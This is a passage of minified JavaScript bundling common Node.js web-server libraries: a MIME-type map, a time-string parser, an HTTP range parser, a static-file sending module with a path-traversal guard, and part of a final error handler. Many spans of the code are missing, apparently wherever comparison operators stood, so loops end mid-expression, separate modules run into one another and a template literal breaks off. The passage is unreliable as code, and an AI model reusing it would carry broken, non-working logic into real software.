osgi.subsystem":["esa"],"application/vnd.palm":["pdb","pqa","oprc"],"application/vnd.pawaafile":["paw"],"application/vnd.pg.format":["str"],"application/vnd.pg.osasli":["ei6"],"application/vnd.picsel":["efif"],"application/vnd.pmi.widget":["wg"],"application/vnd.pocketlearn":["plf"],"application/vnd.powerbuilder6":["pbd"],"application/vnd.previewsystems.box":["box"],"application/vnd.proteus.magazine":["mgz"],"application/vnd.publishare-delta-tree":["qps"],"application/vnd.pvi.ptid1":["ptid"],"application/vnd.quark.quarkxpress":["qxd","qxt","qwd","qwt","qxl","qxb"],"application/vnd.realvnc.bed":["bed"],"application/vnd.recordare.musicxml":["mxl"],"application/vnd.recordare.musicxml+xml":["musicxml"],"application/vnd.rig.cryptonote":["cryptonote"],"application/vnd.rim.cod":["cod"],"application/vnd.rn-realmedia":["rm"],"application/vnd.rn-realmedia-vbr":["rmvb"],"application/vnd.route66.link66+xml":["link66"],"application/vnd.sailingtracker.track":["st"],"application/vnd.seemail":["see"],"application/vnd.sema":["sema"],"application/vnd.semd":["semd"],"application/vnd.semf":["semf"],"application/vnd.shana.informed.formdata":["ifm"],"application/vnd.shana.informed.formtemplate":["itp"],"application/vnd.shana.informed.interchange":["iif"],"application/vnd.shana.informed.package":["ipk"],"application/vnd.simtech-mindmapper":["twd","twds"],"application/vnd.smaf":["mmf"],"application/vnd.smart.teacher":["teacher"],"application/vnd.solent.sdkm+xml":["sdkm","sdkd"],"application/vnd.spotfire.dxp":["dxp"],"application/vnd.spotfire.sfs":["sfs"],"application/vnd.stardivision.calc":["sdc"],"application/vnd.stardivision.draw":["sda"],"application/vnd.stardivision.impress":["sdd"],"application/vnd.stardivision.math":["smf"],"application/vnd.stardivision.writer":["sdw","vor"],"application/vnd.stardivision.writer-global":["sgl"],"application/vnd.stepmania.package":["smzip"],"application/vnd.stepmania.stepchart":["sm"],"application/vnd.sun.wadl+xml":["wadl"],"application/vnd.sun.xml.calc":["sxc"],"application/vnd.sun.xml.calc.template":["stc"],"application/vnd.sun.xml.draw":["sxd"],"application/vnd.sun.xml.draw.template":["std"],"application/vnd.sun.xml.impress":["sxi"],"application/vnd.sun.xml.impress.template":["sti"],"application/vnd.sun.xml.math":["sxm"],"application/vnd.sun.xml.writer":["sxw"],"application/vnd.sun.xml.writer.global":["sxg"],"application/vnd.sun.xml.writer.template":["stw"],"application/vnd.sus-calendar":["sus","susp"],"application/vnd.svd":["svd"],"application/vnd.symbian.install":["sis","sisx"],"application/vnd.syncml+xml":["xsm"],"application/vnd.syncml.dm+wbxml":["bdm"],"application/vnd.syncml.dm+xml":["xdm"],"application/vnd.tao.intent-module-archive":["tao"],"application/vnd.tcpdump.pcap":["pcap","cap","dmp"],"application/vnd.tmobile-livetv":["tmo"],"application/vnd.trid.tpt":["tpt"],"application/vnd.triscape.mxs":["mxs"],"application/vnd.trueapp":["tra"],"application/vnd.ufdl":["ufd","ufdl"],"application/vnd.uiq.theme":["utz"],"application/vnd.umajin":["umj"],"application/vnd.unity":["unityweb"],"application/vnd.uoml+xml":["uoml"],"application/vnd.vcx":["vcx"],"application/vnd.visio":["vsd","vst","vss","vsw"],"application/vnd.visionary":["vis"],"application/vnd.vsf":["vsf"],"application/vnd.wap.wbxml":["wbxml"],"application/vnd.wap.wmlc":["wmlc"],"application/vnd.wap.wmlscriptc":["wmlsc"],"application/vnd.webturbo":["wtb"],"application/vnd.wolfram.player":["nbp"],"application/vnd.wordperfect":["wpd"],"application/vnd.wqd":["wqd"],"application/vnd.wt.stf":["stf"],"application/vnd.xara":["xar"],"application/vnd.xfdl":["xfdl"],"application/vnd.yamaha.hv-dic":["hvd"],"application/vnd.yamaha.hv-script":["hvs"],"application/vnd.yamaha.hv-voice":["hvp"],"application/vnd.yamaha.openscoreformat":["osf"],"application/vnd.yamaha.openscoreformat.osfpvg+xml":["osfpvg"],"application/vnd.yamaha.smaf-audio":["saf"],"application/vnd.yamaha.smaf-phrase":["spf"],"application/vnd.yellowriver-custom-menu":["cmp"],"application/vnd.zul":["zir","zirz"],"application/vnd.zzazz.deck+xml":["zaz"],"application/voicexml+xml":["vxml"],"application/wasm":["wasm"],"application/widget":["wgt"],"application/winhlp":["hlp"],"application/wsdl+xml":["wsdl"],"application/wspolicy+xml":["wspolicy"],"application/x-7z-compressed":["7z"],"application/x-abiword":["abw"],"application/x-ace-compressed":["ace"],"application/x-apple-diskimage":[],"application/x-arj":["arj"],"application/x-authorware-bin":["aab","x32","u32","vox"],"application/x-authorware-map":["aam"],"application/x-authorware-seg":["aas"],"application/x-bcpio":["bcpio"],"application/x-bdoc":[],"application/x-bittorrent":["torrent"],"application/x-blorb":["blb","blorb"],"application/x-bzip":["bz"],"application/x-bzip2":["bz2","boz"],"application/x-cbr":["cbr","cba","cbt","cbz","cb7"],"application/x-cdlink":["vcd"],"application/x-cfs-compressed":["cfs"],"application/x-chat":["chat"],"application/x-chess-pgn":["pgn"],"application/x-chrome-extension":["crx"],"application/x-cocoa":["cco"],"application/x-conference":["nsc"],"application/x-cpio":["cpio"],"application/x-csh":["csh"],"application/x-debian-package":["udeb"],"application/x-dgc-compressed":["dgc"],"application/x-director":["dir","dcr","dxr","cst","cct","cxt","w3d","fgd","swa"],"application/x-doom":["wad"],"application/x-dtbncx+xml":["ncx"],"application/x-dtbook+xml":["dtb"],"application/x-dtbresource+xml":["res"],"application/x-dvi":["dvi"],"application/x-envoy":["evy"],"application/x-eva":["eva"],"application/x-font-bdf":["bdf"],"application/x-font-ghostscript":["gsf"],"application/x-font-linux-psf":["psf"],"application/x-font-pcf":["pcf"],"application/x-font-snf":["snf"],"application/x-font-type1":["pfa","pfb","pfm","afm"],"application/x-freearc":["arc"],"application/x-futuresplash":["spl"],"application/x-gca-compressed":["gca"],"application/x-glulx":["ulx"],"application/x-gnumeric":["gnumeric"],"application/x-gramps-xml":["gramps"],"application/x-gtar":["gtar"],"application/x-hdf":["hdf"],"application/x-httpd-php":["php"],"application/x-install-instructions":["install"],"application/x-iso9660-image":[],"application/x-java-archive-diff":["jardiff"],"application/x-java-jnlp-file":["jnlp"],"application/x-latex":["latex"],"application/x-lua-bytecode":["luac"],"application/x-lzh-compressed":["lzh","lha"],"application/x-makeself":["run"],"application/x-mie":["mie"],"application/x-mobipocket-ebook":["prc","mobi"],"application/x-ms-application":["application"],"application/x-ms-shortcut":["lnk"],"application/x-ms-wmd":["wmd"],"application/x-ms-wmz":["wmz"],"application/x-ms-xbap":["xbap"],"application/x-msaccess":["mdb"],"application/x-msbinder":["obd"],"application/x-mscardfile":["crd"],"application/x-msclip":["clp"],"application/x-msdos-program":[],"application/x-msdownload":["com","bat"],"application/x-msmediaview":["mvb","m13","m14"],"application/x-msmetafile":["wmf","emf","emz"],"application/x-msmoney":["mny"],"application/x-mspublisher":["pub"],"application/x-msschedule":["scd"],"application/x-msterminal":["trm"],"application/x-mswrite":["wri"],"application/x-netcdf":["nc","cdf"],"application/x-ns-proxy-autoconfig":["pac"],"application/x-nzb":["nzb"],"application/x-perl":["pl","pm"],"application/x-pilot":[],"application/x-pkcs12":["p12","pfx"],"application/x-pkcs7-certificates":["p7b","spc"],"application/x-pkcs7-certreqresp":["p7r"],"application/x-rar-compressed":["rar"],"application/x-redhat-package-manager":["rpm"],"application/x-research-info-systems":["ris"],"application/x-sea":["sea"],"application/x-sh":["sh"],"application/x-shar":["shar"],"application/x-shockwave-flash":["swf"],"application/x-silverlight-app":["xap"],"application/x-sql":["sql"],"application/x-stuffit":["sit"],"application/x-stuffitx":["sitx"],"application/x-subrip":["srt"],"application/x-sv4cpio":["sv4cpio"],"application/x-sv4crc":["sv4crc"],"application/x-t3vm-image":["t3"],"application/x-tads":["gam"],"application/x-tar":["tar"],"application/x-tcl":["tcl","tk"],"application/x-tex":["tex"],"application/x-tex-tfm":["tfm"],"application/x-texinfo":["texinfo","texi"],"application/x-tgif":["obj"],"application/x-ustar":["ustar"],"application/x-virtualbox-hdd":["hdd"],"application/x-virtualbox-ova":["ova"],"application/x-virtualbox-ovf":["ovf"],"application/x-virtualbox-vbox":["vbox"],"application/x-virtualbox-vbox-extpack":["vbox-extpack"],"application/x-virtualbox-vdi":["vdi"],"application/x-virtualbox-vhd":["vhd"],"application/x-virtualbox-vmdk":["vmdk"],"application/x-wais-source":["src"],"application/x-web-app-manifest+json":["webapp"],"application/x-x509-ca-cert":["der","crt","pem"],"application/x-xfig":["fig"],"application/x-xliff+xml":["xlf"],"application/x-xpinstall":["xpi"],"application/x-xz":["xz"],"application/x-zmachine":["z1","z2","z3","z4","z5","z6","z7","z8"],"application/xaml+xml":["xaml"],"application/xcap-diff+xml":["xdf"],"application/xenc+xml":["xenc"],"application/xhtml+xml":["xhtml","xht"],"application/xml":["xml","xsl","xsd","rng"],"application/xml-dtd":["dtd"],"application/xop+xml":["xop"],"application/xproc+xml":["xpl"],"application/xslt+xml":["xslt"],"application/xspf+xml":["xspf"],"application/xv+xml":["mxml","xhvml","xvml","xvm"],"application/yang":["yang"],"application/yin+xml":["yin"],"application/zip":["zip"],"audio/3gpp":[],"audio/adpcm":["adp"],"audio/basic":["au","snd"],"audio/midi":["mid","midi","kar","rmi"],"audio/mp3":[],"audio/mp4":["m4a","mp4a"],"audio/mpeg":["mpga","mp2","mp2a","mp3","m2a","m3a"],"audio/ogg":["oga","ogg","spx"],"audio/s3m":["s3m"],"audio/silk":["sil"],"audio/vnd.dece.audio":["uva","uvva"],"audio/vnd.digital-winds":["eol"],"audio/vnd.dra":["dra"],"audio/vnd.dts":["dts"],"audio/vnd.dts.hd":["dtshd"],"audio/vnd.lucent.voice":["lvp"],"audio/vnd.ms-playready.media.pya":["pya"],"audio/vnd.nuera.ecelp4800":["ecelp4800"],"audio/vnd.nuera.ecelp7470":["ecelp7470"],"audio/vnd.nuera.ecelp9600":["ecelp9600"],"audio/vnd.rip":["rip"],"audio/wav":["wav"],"audio/wave":[],"audio/webm":["weba"],"audio/x-aac":["aac"],"audio/x-aiff":["aif","aiff","aifc"],"audio/x-caf":["caf"],"audio/x-flac":["flac"],"audio/x-m4a":[],"audio/x-matroska":["mka"],"audio/x-mpegurl":["m3u"],"audio/x-ms-wax":["wax"],"audio/x-ms-wma":["wma"],"audio/x-pn-realaudio":["ram","ra"],"audio/x-pn-realaudio-plugin":["rmp"],"audio/x-realaudio":[],"audio/x-wav":[],"audio/xm":["xm"],"chemical/x-cdx":["cdx"],"chemical/x-cif":["cif"],"chemical/x-cmdf":["cmdf"],"chemical/x-cml":["cml"],"chemical/x-csml":["csml"],"chemical/x-xyz":["xyz"],"font/collection":["ttc"],"font/otf":["otf"],"font/ttf":["ttf"],"font/woff":["woff"],"font/woff2":["woff2"],"image/apng":["apng"],"image/bmp":["bmp"],"image/cgm":["cgm"],"image/g3fax":["g3"],"image/gif":["gif"],"image/ief":["ief"],"image/jp2":["jp2","jpg2"],"image/jpeg":["jpeg","jpg","jpe"],"image/jpm":["jpm"],"image/jpx":["jpx","jpf"],"image/ktx":["ktx"],"image/png":["png"],"image/prs.btif":["btif"],"image/sgi":["sgi"],"image/svg+xml":["svg","svgz"],"image/tiff":["tiff","tif"],"image/vnd.adobe.photoshop":["psd"],"image/vnd.dece.graphic":["uvi","uvvi","uvg","uvvg"],"image/vnd.djvu":["djvu","djv"],"image/vnd.dvb.subtitle":[],"image/vnd.dwg":["dwg"],"image/vnd.dxf":["dxf"],"image/vnd.fastbidsheet":["fbs"],"image/vnd.fpx":["fpx"],"image/vnd.fst":["fst"],"image/vnd.fujixerox.edmics-mmr":["mmr"],"image/vnd.fujixerox.edmics-rlc":["rlc"],"image/vnd.ms-modi":["mdi"],"image/vnd.ms-photo":["wdp"],"image/vnd.net-fpx":["npx"],"image/vnd.wap.wbmp":["wbmp"],"image/vnd.xiff":["xif"],"image/webp":["webp"],"image/x-3ds":["3ds"],"image/x-cmu-raster":["ras"],"image/x-cmx":["cmx"],"image/x-freehand":["fh","fhc","fh4","fh5","fh7"],"image/x-icon":["ico"],"image/x-jng":["jng"],"image/x-mrsid-image":["sid"],"image/x-ms-bmp":[],"image/x-pcx":["pcx"],"image/x-pict":["pic","pct"],"image/x-portable-anymap":["pnm"],"image/x-portable-bitmap":["pbm"],"image/x-portable-graymap":["pgm"],"image/x-portable-pixmap":["ppm"],"image/x-rgb":["rgb"],"image/x-tga":["tga"],"image/x-xbitmap":["xbm"],"image/x-xpixmap":["xpm"],"image/x-xwindowdump":["xwd"],"message/rfc822":["eml","mime"],"model/gltf+json":["gltf"],"model/gltf-binary":["glb"],"model/iges":["igs","iges"],"model/mesh":["msh","mesh","silo"],"model/vnd.collada+xml":["dae"],"model/vnd.dwf":["dwf"],"model/vnd.gdl":["gdl"],"model/vnd.gtw":["gtw"],"model/vnd.mts":["mts"],"model/vnd.vtu":["vtu"],"model/vrml":["wrl","vrml"],"model/x3d+binary":["x3db","x3dbz"],"model/x3d+vrml":["x3dv","x3dvz"],"model/x3d+xml":["x3d","x3dz"],"text/cache-manifest":["appcache","manifest"],"text/calendar":["ics","ifb"],"text/coffeescript":["coffee","litcoffee"],"text/css":["css"],"text/csv":["csv"],"text/hjson":["hjson"],"text/html":["html","htm","shtml"],"text/jade":["jade"],"text/jsx":["jsx"],"text/less":["less"],"text/markdown":["markdown","md"],"text/mathml":["mml"],"text/n3":["n3"],"text/plain":["txt","text","conf","def","list","log","in","ini"],"text/prs.lines.tag":["dsc"],"text/richtext":["rtx"],"text/rtf":[],"text/sgml":["sgml","sgm"],"text/slim":["slim","slm"],"text/stylus":["stylus","styl"],"text/tab-separated-values":["tsv"],"text/troff":["t","tr","roff","man","me","ms"],"text/turtle":["ttl"],"text/uri-list":["uri","uris","urls"],"text/vcard":["vcard"],"text/vnd.curl":["curl"],"text/vnd.curl.dcurl":["dcurl"],"text/vnd.curl.mcurl":["mcurl"],"text/vnd.curl.scurl":["scurl"],"text/vnd.dvb.subtitle":["sub"],"text/vnd.fly":["fly"],"text/vnd.fmi.flexstor":["flx"],"text/vnd.graphviz":["gv"],"text/vnd.in3d.3dml":["3dml"],"text/vnd.in3d.spot":["spot"],"text/vnd.sun.j2me.app-descriptor":["jad"],"text/vnd.wap.wml":["wml"],"text/vnd.wap.wmlscript":["wmls"],"text/vtt":["vtt"],"text/x-asm":["s","asm"],"text/x-c":["c","cc","cxx","cpp","h","hh","dic"],"text/x-component":["htc"],"text/x-fortran":["f","for","f77","f90"],"text/x-handlebars-template":["hbs"],"text/x-java-source":["java"],"text/x-lua":["lua"],"text/x-markdown":["mkd"],"text/x-nfo":["nfo"],"text/x-opml":["opml"],"text/x-org":[],"text/x-pascal":["p","pas"],"text/x-processing":["pde"],"text/x-sass":["sass"],"text/x-scss":["scss"],"text/x-setext":["etx"],"text/x-sfv":["sfv"],"text/x-suse-ymp":["ymp"],"text/x-uuencode":["uu"],"text/x-vcalendar":["vcs"],"text/x-vcard":["vcf"],"text/xml":[],"text/yaml":["yaml","yml"],"video/3gpp":["3gp","3gpp"],"video/3gpp2":["3g2"],"video/h261":["h261"],"video/h263":["h263"],"video/h264":["h264"],"video/jpeg":["jpgv"],"video/jpm":["jpgm"],"video/mj2":["mj2","mjp2"],"video/mp2t":["ts"],"video/mp4":["mp4","mp4v","mpg4"],"video/mpeg":["mpeg","mpg","mpe","m1v","m2v"],"video/ogg":["ogv"],"video/quicktime":["qt","mov"],"video/vnd.dece.hd":["uvh","uvvh"],"video/vnd.dece.mobile":["uvm","uvvm"],"video/vnd.dece.pd":["uvp","uvvp"],"video/vnd.dece.sd":["uvs","uvvs"],"video/vnd.dece.video":["uvv","uvvv"],"video/vnd.dvb.file":["dvb"],"video/vnd.fvt":["fvt"],"video/vnd.mpegurl":["mxu","m4u"],"video/vnd.ms-playready.media.pyv":["pyv"],"video/vnd.uvvu.mp4":["uvu","uvvu"],"video/vnd.vivo":["viv"],"video/webm":["webm"],"video/x-f4v":["f4v"],"video/x-fli":["fli"],"video/x-flv":["flv"],"video/x-m4v":["m4v"],"video/x-matroska":["mkv","mk3d","mks"],"video/x-mng":["mng"],"video/x-ms-asf":["asf","asx"],"video/x-ms-vob":["vob"],"video/x-ms-wm":["wm"],"video/x-ms-wmv":["wmv"],"video/x-ms-wmx":["wmx"],"video/x-ms-wvx":["wvx"],"video/x-msvideo":["avi"],"video/x-sgi-movie":["movie"],"video/x-smv":["smv"],"x-conference/x-cooltalk":["ice"]}});var Lb=V((AW,qb)=>{var IW=require("path"),LN=require("fs");function hs(){this.types=Object.create(null),this.extensions=Object.create(null)}hs.prototype.define=function(t){for(var e in t){for(var r=t[e],n=0;n{var vs=1e3,gs=vs*60,ys=gs*60,cn=ys*24,FN=cn*7,zN=cn*365.25;Fb.exports=function(t,e){e=e||{};var r=typeof t;if(r==="string"&&t.length>0)return UN(t);if(r==="number"&&isFinite(t))return e.long?BN(t):HN(t);throw new Error("val is not a non-empty string or a valid number. val="+JSON.stringify(t))};function UN(t){if(t=String(t),!(t.length>100)){var e=/^(-?(?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|weeks?|w|years?|yrs?|y)?$/i.exec(t);if(e){var r=parseFloat(e[1]),n=(e[2]||"ms").toLowerCase();switch(n){case"years":case"year":case"yrs":case"yr":case"y":return r*zN;case"weeks":case"week":case"w":return r*FN;case"days":case"day":case"d":return r*cn;case"hours":case"hour":case"hrs":case"hr":case"h":return r*ys;case"minutes":case"minute":case"mins":case"min":case"m":return r*gs;case"seconds":case"second":case"secs":case"sec":case"s":return r*vs;case"milliseconds":case"millisecond":case"msecs":case"msec":case"ms":return r;default:return}}}}function HN(t){var e=Math.abs(t);return e>=cn?Math.round(t/cn)+"d":e>=ys?Math.round(t/ys)+"h":e>=gs?Math.round(t/gs)+"m":e>=vs?Math.round(t/vs)+"s":t+"ms"}function BN(t){var e=Math.abs(t);return e>=cn?Ac(t,e,cn,"day"):e>=ys?Ac(t,e,ys,"hour"):e>=gs?Ac(t,e,gs,"minute"):e>=vs?Ac(t,e,vs,"second"):t+" ms"}function Ac(t,e,r,n){var a=e>=r*1.5;return Math.round(t/r)+" "+n+(a?"s":"")}});var Sp=V((jW,Ub)=>{"use strict";Ub.exports=VN;function VN(t,e,r){if(typeof e!="string")throw new TypeError("argument str must be a string");var n=e.indexOf("=");if(n===-1)return-2;var a=e.slice(n+1).split(","),s=[];s.type=e.slice(0,n);for(var i=0;it-1&&(u=t-1),!(isNaN(c)||isNaN(u)||c>u||c<0)&&s.push({start:c,end:u})}return s.length<1?-1:r&&r.combine?WN(s):s}function WN(t){for(var e=t.map(ZN).sort(XN),r=0,n=1;ns.end+1?e[++r]=a:a.end>s.end&&(s.end=a.end,s.index=Math.min(s.index,a.index))}e.length=r+1;var i=e.sort(KN).map(GN);return i.type=t.type,i}function ZN(t,e){return{start:t.start,end:t.end,index:e}}function GN(t){return{start:t.start,end:t.end}}function KN(t,e){return t.index-e.index}function XN(t,e){return t.start-e.start}});var Dc=V((MW,Pp)=>{"use strict";var Ep=Ka(),yt=pr()("send"),un=zr()("send"),JN=ad(),YN=Cb(),Vb=Hi(),QN=xp(),ej=wp(),jc=require("fs"),kp=Lb(),Wb=zb(),tj=$i(),rj=Sp(),Zi=require("path"),aj=_i(),Zb=require("stream"),nj=require("util"),sj=Zi.extname,Gb=Zi.join,Tp=Zi.normalize,$p=Zi.resolve,Nc=Zi.sep,ij=/^ *bytes=/,Kb=3600*24*365*1e3,Hb=/(?:^|[\\/])\.\.(?:[\\/]|$)/;Pp.exports=oj;Pp.exports.mime=kp;function oj(t,e,r){return new tt(t,e,r)}function tt(t,e,r){Zb.call(this);var n=r||{};if(this.options=n,this.path=e,this.req=t,this._acceptRanges=n.acceptRanges!==void 0?!!n.acceptRanges:!0,this._cacheControl=n.cacheControl!==void 0?!!n.cacheControl:!0,this._etag=n.etag!==void 0?!!n.etag:!0,this._dotfiles=n.dotfiles!==void 0?n.dotfiles:"ignore",this._dotfiles!=="ignore"&&this._dotfiles!=="allow"&&this._dotfiles!=="deny")throw new TypeError('dotfiles option must be "allow", "deny", or "ignore"');this._hidden=!!n.hidden,n.hidden!==void 0&&un("hidden: use dotfiles: '"+(this._hidden?"allow":"ignore")+"' instead"),n.dotfiles===void 0&&(this._dotfiles=void 0),this._extensions=n.extensions!==void 0?Rp(n.extensions,"extensions option"):[],this._immutable=n.immutable!==void 0?!!n.immutable:!1,this._index=n.index!==void 0?Rp(n.index,"index option"):["index.html"],this._lastModified=n.lastModified!==void 0?!!n.lastModified:!0,this._maxage=n.maxAge||n.maxage,this._maxage=typeof this._maxage=="string"?Wb(this._maxage):Number(this._maxage),this._maxage=isNaN(this._maxage)?0:Math.min(Math.max(0,this._maxage),Kb),this._root=n.root?$p(n.root):null,!this._root&&n.from&&this.from(n.from)}nj.inherits(tt,Zb);tt.prototype.etag=un.function(function(e){return this._etag=!!e,yt("etag %s",this._etag),this},"send.etag: pass etag as option");tt.prototype.hidden=un.function(function(e){return this._hidden=!!e,this._dotfiles=void 0,yt("hidden %s",this._hidden),this},"send.hidden: use dotfiles option");tt.prototype.index=un.function(function(e){var r=e?Rp(e,"paths argument"):[];return yt("index %o",e),this._index=r,this},"send.index: pass index as option");tt.prototype.root=function(e){return this._root=$p(String(e)),yt("root %s",this._root),this};tt.prototype.from=un.function(tt.prototype.root,"send.from: pass root as option");tt.prototype.root=un.function(tt.prototype.root,"send.root: pass root as option");tt.prototype.maxage=un.function(function(e){return this._maxage=typeof e=="string"?Wb(e):Number(e),this._maxage=isNaN(this._maxage)?0:Math.min(Math.max(0,this._maxage),Kb),yt("max-age %d",this._maxage),this},"send.maxage: pass maxAge as option");tt.prototype.error=function(e,r){if(Jb(this,"error"))return this.emit("error",dj(e,r));var n=this.res,a=aj.message[e]||String(e),s=Xb("Error",Vb(a));cj(n),r&&r.headers&&vj(n,r.headers),n.statusCode=e,n.setHeader("Content-Type","text/html; charset=UTF-8"),n.setHeader("Content-Length",Buffer.byteLength(s)),n.setHeader("Content-Security-Policy","default-src 'none'"),n.setHeader("X-Content-Type-Options","nosniff"),n.end(s)};tt.prototype.hasTrailingSlash=function(){return this.path[this.path.length-1]==="/"};tt.prototype.isConditionalGET=function(){return this.req.headers["if-match"]||this.req.headers["if-unmodified-since"]||this.req.headers["if-none-match"]||this.req.headers["if-modified-since"]};tt.prototype.isPreconditionFailure=function(){var e=this.req,r=this.res,n=e.headers["if-match"];if(n){var a=r.getHeader("ETag");return!a||n!=="*"&&hj(n).every(function(o){return o!==a&&o!=="W/"+a&&"W/"+o!==a})}var s=Mc(e.headers["if-unmodified-since"]);if(!isNaN(s)){var i=Mc(r.getHeader("Last-Modified"));return isNaN(i)||i>s}return!1};tt.prototype.removeContentHeaderFields=function(){var e=this.res;e.removeHeader("Content-Encoding"),e.removeHeader("Content-Language"),e.removeHeader("Content-Length"),e.removeHeader("Content-Range"),e.removeHeader("Content-Type")};tt.prototype.notModified=function(){var e=this.res;yt("not modified"),this.removeContentHeaderFields(),e.statusCode=304,e.end()};tt.prototype.headersAlreadySent=function(){var e=new Error("Can't set headers after they are sent.");yt("headers already sent"),this.error(500,e)};tt.prototype.isCachable=function(){var e=this.res.statusCode;return e>=200&&e<300||e===304};tt.prototype.onStatError=function(e){switch(e.code){case"ENAMETOOLONG":case"ENOENT":case"ENOTDIR":this.error(404,e);break;default:this.error(500,e);break}};tt.prototype.isFresh=function(){return ej(this.req.headers,{etag:this.res.getHeader("ETag"),"last-modified":this.res.getHeader("Last-Modified")})};tt.prototype.isRangeFresh=function(){var e=this.req.headers["if-range"];if(!e)return!0;if(e.indexOf('"')!==-1){var r=this.res.getHeader("ETag");return!!(r&&e.indexOf(r)!==-1)}var n=this.res.getHeader("Last-Modified");return Mc(n)<=Mc(e)};tt.prototype.redirect=function(e){var r=this.res;if(Jb(this,"directory")){this.emit("directory",r,e);return}if(this.hasTrailingSlash()){this.error(403);return}var n=YN(uj(this.path+"/")),a=Xb("Redirecting","Redirecting to "+Vb(n));r.statusCode=301,r.setHeader("Content-Type","text/html; charset=UTF-8"),r.setHeader("Content-Length",Buffer.byteLength(a)),r.setHeader("Content-Security-Policy","default-src 'none'"),r.setHeader("X-Content-Type-Options","nosniff"),r.setHeader("Location",n),r.end(a)};tt.prototype.pipe=function(e){var r=this._root;this.res=e;var n=pj(this.path);if(n===-1)return this.error(400),e;if(~n.indexOf("\0"))return this.error(400),e;var a;if(r!==null){if(n&&(n=Tp("."+Nc+n)),Hb.test(n))return yt('malicious path "%s"',n),this.error(403),e;a=n.split(Nc),n=Tp(Gb(r,n))}else{if(Hb.test(n))return yt('malicious path "%s"',n),this.error(403),e;a=Tp(n).split(Nc),n=$p(n)}if(lj(a)){var s=this._dotfiles;switch(s===void 0&&(s=a[a.length-1][0]==="."?this._hidden?"allow":"ignore":"allow"),yt('%s dotfile "%s"',s,n),s){case"allow":break;case"deny":return this.error(403),e;case"ignore":default:return this.error(404),e}}return this._index.length&&this.hasTrailingSlash()?(this.sendIndex(n),e):(this.sendFile(n),e)};tt.prototype.send=function(e,r){var n=r.size,a=this.options,s={},i=this.res,o=this.req,c=o.headers.range,u=a.start||0;if(mj(i)){this.headersAlreadySent();return}if(yt('pipe "%s"',e),this.setHeader(e,r),this.type(e),this.isConditionalGET()){if(this.isPreconditionFailure()){this.error(412);return}if(this.isCachable()&&this.isFresh()){this.notModified();return}}if(n=Math.max(0,n-u),a.end!==void 0){var l=a.end-u+1;n>l&&(n=l)}if(this._acceptRanges&&ij.test(c)){if(c=rj(n,c,{combine:!0}),this.isRangeFresh()||(yt("range stale"),c=-2),c===-1)return yt("range unsatisfiable"),i.setHeader("Content-Range",Bb("bytes",n)),this.error(416,{headers:{"Content-Range":i.getHeader("Content-Range")}});c!==-2&&c.length===1&&(yt("range %j",c),i.statusCode=206,i.setHeader("Content-Range",Bb("bytes",n,c[0])),u+=c[0].start,n=c[0].end-c[0].start+1)}for(var d in a)s[d]=a[d];if(s.start=u,s.end=Math.max(u,u+n-1),i.setHeader("Content-Length",n),o.method==="HEAD"){i.end();return}this.stream(e,s)};tt.prototype.sendFile=function(e){var r=0,n=this;yt('stat "%s"',e),jc.stat(e,function(i,o){if(i&&i.code==="ENOENT"&&!sj(e)&&e[e.length-1]!==Nc)return a(i);if(i)return n.onStatError(i);if(o.isDirectory())return n.redirect(e);n.emit("file",e,o),n.send(e,o)});function a(s){if(n._extensions.length<=r)return s?n.onStatError(s):n.error(404);var i=e+"."+n._extensions[r++];yt('stat "%s"',i),jc.stat(i,function(o,c){if(o)return a(o);if(c.isDirectory())return a();n.emit("file",i,c),n.send(i,c)})}};tt.prototype.sendIndex=function(e){var r=-1,n=this;function a(s){if(++r>=n._index.length)return s?n.onStatError(s):n.error(404);var i=Gb(e,n._index[r]);yt('stat "%s"',i),jc.stat(i,function(o,c){if(o)return a(o);if(c.isDirectory())return a();n.emit("file",i,c),n.send(i,c)})}a()};tt.prototype.stream=function(e,r){var n=this,a=this.res,s=jc.createReadStream(e,r);this.emit("stream",s),s.pipe(a);function i(){JN(s,!0)}tj(a,i),s.on("error",function(c){i(),n.onStatError(c)}),s.on("end",function(){n.emit("end")})};tt.prototype.type=function(e){var r=this.res;if(!r.getHeader("Content-Type")){var n=kp.lookup(e);if(!n){yt("no content-type");return}var a=kp.charsets.lookup(n);yt("content-type %s",n),r.setHeader("Content-Type",n+(a?"; charset="+a:""))}};tt.prototype.setHeader=function(e,r){var n=this.res;if(this.emit("headers",n,e,r),this._acceptRanges&&!n.getHeader("Accept-Ranges")&&(yt("accept ranges"),n.setHeader("Accept-Ranges","bytes")),this._cacheControl&&!n.getHeader("Cache-Control")){var a="public, max-age="+Math.floor(this._maxage/1e3);this._immutable&&(a+=", immutable"),yt("cache-control %s",a),n.setHeader("Cache-Control",a)}if(this._lastModified&&!n.getHeader("Last-Modified")){var s=r.mtime.toUTCString();yt("modified %s",s),n.setHeader("Last-Modified",s)}if(this._etag&&!n.getHeader("ETag")){var i=QN(r);yt("etag %s",i),n.setHeader("ETag",i)}};function cj(t){for(var e=fj(t),r=0;r1?"/"+t.substr(e):t}function lj(t){for(var e=0;e1&&r[0]===".")return!0}return!1}function Bb(t,e,r){return t+" "+(r?r.start+"-"+r.end:"*")+"/"+e}function Xb(t,e){return` +`}B_.exports=NA;function NA(t,e,r){var n=r||{},a=n.env||process.env.NODE_ENV||"development",s=n.onerror;return function(i){var o,c,u;if(!i&&z_(e)){mp("cannot 404 after headers sent");return}if(i?(u=DA(i),u===void 0?u=LA(e):o=jA(i),c=MA(i,u,a)):(u=404,c="Cannot "+t.method+" "+TA(qA(t))),mp("default %s",u),i&&s&&CA(s,i,t,e),z_(e)){mp("cannot %d after headers sent",u),t.socket&&t.socket.destroy();return}FA(t,e,u,o,c)}}function jA(t){if(!(!t.headers||typeof t.headers!="object")){for(var e=Object.create(null),r=Object.keys(t.headers),n=0;n=400&&t.status<600)return t.status;if(typeof t.statusCode=="number"&&t.statusCode>=400&&t.statusCode<600)return t.statusCode}function qA(t){try{return $A.original(t).pathname}catch{return"resource"}}function LA(t){var e=t.statusCode;return(typeof e!="number"||e<400||e>599)&&(e=500),e}function z_(t){return typeof t.headersSent!="boolean"?!!t._header:t.headersSent}function FA(t,e,r,n,a){function s(){var i=AA(a);if(e.statusCode=r,t.httpVersionMajor<2&&(e.statusMessage=H_.message[r]),e.removeHeader("Content-Encoding"),e.removeHeader("Content-Language"),e.removeHeader("Content-Range"),zA(e,n),e.setHeader("Content-Security-Policy","default-src 'none'"),e.setHeader("X-Content-Type-Options","nosniff"),e.setHeader("Content-Type","text/html; 